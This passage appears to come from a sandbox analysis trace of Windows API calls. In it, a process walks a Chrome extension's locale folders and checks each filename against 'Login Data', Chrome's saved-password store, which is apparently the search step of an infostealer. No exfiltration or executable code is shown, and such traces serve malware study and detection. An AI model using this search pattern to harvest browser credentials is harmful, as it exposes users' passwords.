lpString2=".") returned 0 [0056.612] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.612] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.612] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.612] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.612] LocalFree (hMem=0x2dc508) returned 0x0 [0056.612] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.612] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.612] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.612] lstrlenA (lpString="\\") returned 1 [0056.612] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.612] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.612] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.612] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.612] lstrlenA (lpString="es") returned 2 [0056.612] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.612] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.613] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0056.613] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned 131 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned 131 [0056.613] lstrlenA (lpString="\\*.*") returned 4 [0056.613] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.613] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0056.613] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*" [0056.613] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.613] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.613] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.613] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.613] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.613] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.613] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.613] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.613] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.613] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.613] lstrlenA (lpString="\\") returned 1 [0056.613] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.613] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.613] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.613] lstrlenA (lpString="es_419") returned 6 [0056.613] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc3f8 [0056.613] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.613] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0056.613] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned 135 [0056.613] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned 135 [0056.613] lstrlenA (lpString="\\*.*") returned 4 [0056.613] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2dc508 [0056.613] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0056.613] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*" [0056.613] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.613] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.614] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.614] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.614] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.614] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.614] LocalFree (hMem=0x2dc508) returned 0x0 [0056.614] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.614] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.614] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.614] lstrlenA (lpString="\\") returned 1 [0056.614] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.614] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.614] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.614] lstrlenA (lpString="et") returned 2 [0056.614] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.614] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.614] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0056.614] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned 131 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned 131 [0056.614] lstrlenA (lpString="\\*.*") returned 4 [0056.614] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.614] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0056.614] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*" [0056.614] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.614] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.614] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.614] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.614] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.614] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.614] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.614] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.614] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.614] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.614] lstrlenA (lpString="\\") returned 1 [0056.614] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.614] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.614] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.614] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.615] lstrlenA (lpString="fi") returned 2 [0056.615] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.615] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.615] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0056.615] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned 131 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned 131 [0056.615] lstrlenA (lpString="\\*.*") returned 4 [0056.615] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.615] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0056.615] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*" [0056.615] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.615] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.615] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.615] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.615] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.615] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.615] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.615] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.615] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.615] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.615] lstrlenA (lpString="\\") returned 1 [0056.615] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.615] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.615] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.615] lstrlenA (lpString="fil") returned 3 [0056.615] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc3f8 [0056.615] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.615] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0056.615] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 